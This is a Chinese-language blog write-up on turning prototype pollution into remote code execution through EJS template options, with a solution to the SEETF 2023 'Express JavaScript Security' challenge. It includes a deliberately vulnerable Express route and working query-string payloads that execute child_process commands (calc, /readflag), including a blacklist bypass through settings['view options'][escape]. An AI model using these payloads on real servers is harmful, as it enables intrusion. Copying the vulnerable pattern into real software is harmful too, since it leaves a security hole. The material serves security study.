ejs默认配置 原型链污染

news2024/9/29 11:24:53

文章目录

  • ejs默认配置 造成原型链污染
    • 漏洞背景
    • 漏洞分析
    • 漏洞利用
  • 例题 [SEETF 2023]Express JavaScript Security


ejs默认配置 造成原型链污染

参考文章

漏洞背景

EJS维护者对原型链污染的问题有着很好的理解,并使用非常安全的函数清理他们创建的每个对象

利用Render()

exports.render = function (template, d, o) {
    var data = d || utils.createNullProtoObjWherePossible();
    var opts = o || utils.createNullProtoObjWherePossible();

    // No options object -- if there are optiony names
    // in the data, copy them to options
    if (arguments.length == 2) {
        utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
    }

    return handleCache(opts, template)(data);
};

以及createNullProtoObjWherePossible()

exports.createNullProtoObjWherePossible = (function () {
    if (typeof Object.create == 'function') {
        return function () {
            return Object.create(null);
        };
    }
    if (!({__proto__: null} instanceof Object)) {
        return function () {
            return {__proto__: null};
        };
    }

    // Not possible, just pass through
    return function () {
        return {};
    };
})();

参考文章是这么说的,分析上述代码,可以知道不能滥用原型链污染库内新创建的对象。因此,对于用户提供的对象来说情况并非如此,从 EJS 维护者的角度来看,用户向库提供的输入不是 EJS 的责任。

如何理解呢,就是说我们提供的可以被污染的对象并不会遭到上述函数清理。

漏洞分析

渲染模板时ejs 动态创建函数,该函数将使用传递给它的数据组装模板。该函数是根据模板动态创建的字符串编译的。所有这些都发生在最终被调用的 Template 类的编译函数中,在这种情况下,当创建模板对象时,将使用受感染的选项。

exports.compile = function compile(template, opts) {
    var templ;

    ...

    templ = new Template(template, opts);
    return templ.compile();
};

现在我们知道可以控制配置对象的原型后,那么就可以进一步利用

在这里插入图片描述

我们已经知道当编译模板时,它会使用多个配置元素来处理模板中的代码片段,并将其转换为可执行的 JavaScript 函数。这些配置元素可能包括模板标签、控制流语句、输出语句等。不过其中大多数都使用_JS_IDENTIFIER 正则表达式进行清理

在这里插入图片描述

但是并不意味着所有都会被正则清理,我们看向下面代码

compile: function () {
    /** @type {string} */
    var src;
    /** @type {ClientFunction} */
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    /** @type {EscapeCallback} */
    var escapeFn = opts.escapeFunction;
    /** @type {FunctionConstructor} */
    var ctor;
    /** @type {string} */
    var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined';

    ...

    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }

    ...

    return returnedFn;

我们可以知道将opts.escapeFunction赋值给escapeFn,如果opts.client存在,那么escapeFn就会在函数体内从而被调用

由于 opts.client 和 opts.escapeFunction 默认情况下未设置,因此可以原型链污染它们到达eval接收器并实现RCE

{
    "__proto__": {
        "client": 1,
        "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('calc')"
    }
}

漏洞利用

// Setup app
const express = require("express");
const app  = express();
const port = 3000;

// Select ejs templating library
app.set('view engine', 'ejs');

// Routes
app.get("/", (req, res) => {
    res.render("index");
})

app.get("/vuln", (req, res) => {
    // simulate SSPP vulnerability
    var a = req.query.a;
    var b = req.query.b;
    var c = req.query.c;

    var obj = {};
    obj[a][b] = c;

    res.send("OK!");
})

// Start app
app.listen(port, () => {
    console.log(`App listening on port ${port}`)
})

GET传参payload

第一次: /vuln?a=__proto__&b=escapeFunction&c=JSON.stringify; process.mainModule.require('child_process').exec('calc')
第二次: /vuln?a=__proto__&b=client&c=true

在这里插入图片描述

例题 [SEETF 2023]Express JavaScript Security

源码

const express = require('express');
const ejs = require('ejs');

const app = express();

app.set('view engine', 'ejs');

const BLACKLIST = [
    "outputFunctionName",
    "escapeFunction",
    "localsName",
    "destructuredLocals"
]

app.get('/', (req, res) => {
    return res.render('index');
});

app.get('/greet', (req, res) => {
    
    const data = JSON.stringify(req.query);

    if (BLACKLIST.find((item) => data.includes(item))) {
        return res.status(400).send('Can you not?');
    }

    return res.render('greet', {
        ...JSON.parse(data),
        cache: false
    });
});

app.listen(3000, () => {
    console.log('Server listening on port 3000')
})

分析一下,app.set('view engine', 'ejs');说明ejs模板是默认配置,在/greet路由下,接收GET参数并赋值给data变量,然后黑名单检测,调用ejs模板进行渲染其中解析data的json数据,说明ejs配置可控。

我们前文利用的payload是有escapeFunction关键字的,并且污染的过程是我们手动添加/vuln上去的,所以我们要寻找可以利用的地方

通常情况下,ejs模板只允许在数据对象中传递以下相对无害的选项

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
// We don't allow 'cache' option to be passed in the data obj for
// the normal `render` call, but this is where Express 2 & 3 put it
// so we make an exception for `renderFile`
var _OPTS_PASSABLE_WITH_DATA_EXPRESS = _OPTS_PASSABLE_WITH_DATA.concat('cache');

但是我们找到settings['view options']可用于将任意选项传递给EJS,这将是我们利用的点

跟进一下,会调用shallowCopy()进行赋值给opts

viewOpts = data.settings['view options'];
if (viewOpts) {
  utils.shallowCopy(opts, viewOpts);
}

而在渲染模板的时候会跟进到Template类中,发现关键语句

options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;

也就是说虽然escapeFunction被过滤了,但是我们可以利用opts.escape去替换

settings['view options'][escape]=...

将前文漏洞利用的payload稍加修改一下,然后添加上greet.ejs中的三个配置参数

在这里插入图片描述

得到最终payload

/greet?name=test&font=test&fontSize=test&settings[view options][escape]=function(){return process.mainModule.require('child_process').execSync('/readflag')}&settings[view options][client]=1

注:题目源码已经JSON.stringify了,/readflag可以在dockerfile中得到信息

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1363484.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DNS主从服务器、转发(缓存)服务器

一、主从服务器 1、基本含义 DNS辅助服务器是一种容错设计,考虑的是一旦DNS主服务器出现故障或因负载太重无法及时响应客户机请求,辅助服务器将挺身而出为主服务器排忧解难。辅助服务器的区域数据都是从主服务器复制而来,因此辅助服务器的数…

自动化文件处理软件FileFlows

什么是 FileFlows ? FileFlows 是一款文件处理软件,可以转码、转换、压缩和管理任何文件类型,包括视频、音频、图像和漫画书。它支持多个平台、硬件编码器以及强大的流程和报告功能。 FileFlows 通过监视“库”(文件夹/路径&#…

3D人体姿态估计(教程+代码)

3D人体姿态估计是指通过计算机视觉和深度学习技术,从图像或视频中推断出人体的三维姿态信息。它是计算机视觉领域的一个重要研究方向,具有广泛的应用潜力,如人机交互、运动分析、虚拟现实、增强现实等。 传统的2D人体姿态估计方法主要关注通…

SPRING BOOT发送邮件验证码(Gmail邮箱)

SPRING BOOT邮件发送验证码 一、Gmail邮箱配置 1、进入Gmail(https://mail.google.com) 2、打开谷歌右上角设置 3、启用POP/IMP 4、启用两步验证(https://myaccount.google.com/security) 5、建立应用程式密码 6、复制保存应用程式密码 二、代码 1、引入依赖 <d…

Java序列化篇----第二篇

系列文章目录 文章目录 系列文章目录前言一、Serializable 实现序列化二、writeObject 和 readObject 自定义序列化策略三、序列化 ID四、序列化并不保存静态变量五、Transient 关键字阻止该变量被序列化到文件中六、序列化(深 clone 一中实现)前言 前些天发现了一个巨牛的人…

Java线程同步机制

第1章&#xff1a;引言 大家好&#xff0c;我是小黑。今天咱们来聊聊并发编程&#xff0c;咱们经常听说并行、并发这些词&#xff0c;特别是在处理大量数据、高用户负载时&#xff0c;这些概念就显得尤为重要了。为什么呢&#xff1f;因为并发编程可以帮助咱们的应用程序更有效…

GO语言笔记1-安装与hello world

SDK开发工具包下载 Go语言官网地址&#xff1a;golang.org&#xff0c;无法访问Golang中文社区&#xff1a;首页 - Go语言中文网 - Golang中文社区下载地址&#xff1a;Go下载 - Go语言中文网 - Golang中文社区 尽量去下载稳定版本&#xff0c;根据使用系统下载压缩包格式的安装…

Dubbo入门介绍和实战

1. 引言 Dubbo是一款开源的高性能、轻量级的Java RPC&#xff08;远程过程调用&#xff09;框架&#xff0c;旨在解决分布式服务之间的通信问题。本文将介绍Dubbo的基础概念、核心特性以及使用场景&#xff0c;包括实际示例演示。 2. 什么是Dubbo&#xff1f; Dubbo是阿里巴…

java碳排放数据信息管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 java Web碳排放数据信息管理系统是一套完善的java web信息管理系统&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环 境为TOMCAT7.0,Myeclipse8.5开发&#xff0c;数据库为…

Visual Studio Code安装C#开发工具包并编写ASP.NET Core Web应用

前言 前段时间微软发布了适用于VS Code的C#开发工具包&#xff08;注意目前该包还属于预发布状态但是可以正常使用&#xff09;&#xff0c;因为之前看过网上的一些使用VS Code搭建.NET Core环境的教程看着还挺复杂的就一直没有尝试使用VS Code来编写.NET Core。不过听说C# 开发…

【Java技术专题】「攻破技术盲区」攻破Java技术盲点之unsafe类的使用指南(打破Java的安全管控— sun.misc.unsafe)

Java后门机制 — sun.misc.unsafe 打破Java的安全管控关于Unsafe的编程建议实例化Unsafe后门对象使用sun.misc.Unsafe创建实例单例模式处理实现浅克隆&#xff08;直接获取内存的方式&#xff09;直接使用copyMemory原理分析 密码安全使用Unsafe类—示例代码 运行时动态创建类超…

centos通过yum 安装nginx和基本操作

Yum安装Nginx 1、配置Centos 7 Nginx Yum源仓库(注意系统版本要匹配&#xff0c;此步根据环境来确认&#xff0c;不是必须的&#xff09; rpm -Uvh http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm 2、安装Nginx yum install n…

深度学习|10.5 卷积步长 10.6 三维卷积

文章目录 10.5 卷积步长10. 6 三维卷积![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/b5bfa24f57964b0f81f9602f5780c278.png) 10.5 卷积步长 卷积步长是指每计算一次卷积&#xff0c;卷积移动的距离。 设步长为k&#xff0c;原矩阵规模为nxn&#xff0c;核矩阵…

静态网页设计——环保网(HTML+CSS+JavaScript)(dw、sublime Text、webstorm、HBuilder X)

前言 声明&#xff1a;该文章只是做技术分享&#xff0c;若侵权请联系我删除。&#xff01;&#xff01; 感谢大佬的视频&#xff1a; https://www.bilibili.com/video/BV1BC4y1v7ZY/?vd_source5f425e0074a7f92921f53ab87712357b 使用技术&#xff1a;HTMLCSSJS&#xff08;…

【大数据进阶第三阶段之Hive学习笔记】Hive基础入门

目录 1、什么是Hive 2、Hive的优缺点 2.1、 优点 2.2、 缺点 2.2.1、Hive的HQL表达能力有限 2.2.2、Hive的效率比较低 3、Hive架构原理 3.1、用户接口&#xff1a;Client 3.2、元数据&#xff1a;Metastore 3.3、Hadoop 3.4、驱动器&#xff1a;Driver Hive运行机制…

【设计模式】中介模式

一起学习设计模式 目录 前言 一、概述 二、结构 三、案例实现 四、优缺点 五、使用场景 总结 前言 【设计模式】中介者模式——行为型模式。 一、概述 一般来说&#xff0c;同事类之间的关系是比较复杂的&#xff0c;多个同事类之间互相关联时&#xff0c;他们之间的关…

多功能号卡推广分销管理系统 流量卡推广分销网站源码-目前市面上最优雅的号卡系统

一套完善,多功能,的号卡分销系统,多接口,包括运营商接口,无限三级代理,最简单易用的PHP~ 目前市面上最优雅的号卡系统!没有之一 软件架构说明 环境要求php7.3以上(建议低于8.0),MySQL5.6以上,Nginx1.16(无要求) 产品特性 自动安装向导 易于安装使用部署 多个第…

机器学习笔记 - 基于OpenCV+稀疏光流的无监督运动检测

一、简述 在各种高级开源库的帮助下&#xff0c;检测固定摄像机拍摄的运动行为是轻而易举可以实现的&#xff0c;但检测移动的摄像机拍摄的移动物体的运动检测依然是一个复杂的问题。在这里&#xff0c;我们将继续基于稀疏光流&#xff0c;并检测移动的无人机相机的运动。 这里…

腾讯云轻量应用服务器可以一次性买三年,2核2G4M和2核4G5M

腾讯云优惠之轻量应用服务器3年优惠价格表&#xff0c;目前可以买三年的轻量配置为2核2G4M和2核4G5M&#xff0c;2核2G4M价格三年价格540元&#xff0c;2核4G5M带宽三年756元&#xff0c;当然也可以选择购买一年&#xff0c;第二年续费会比较贵&#xff0c;腾讯云轻量2核2G4M服…

Linux Capabilities 基础概念与基本使用

目录 1. Linux capabilities 是什么&#xff1f; 2. capabilities 的赋予和继承 线程的 capabilities Permitted* 允许 Effective* 有效 Inheritable* 遗传 Bounding&#xff08;集合&#xff09; Ambient 文件的 capabilities Permitted Inheritable Effective 3…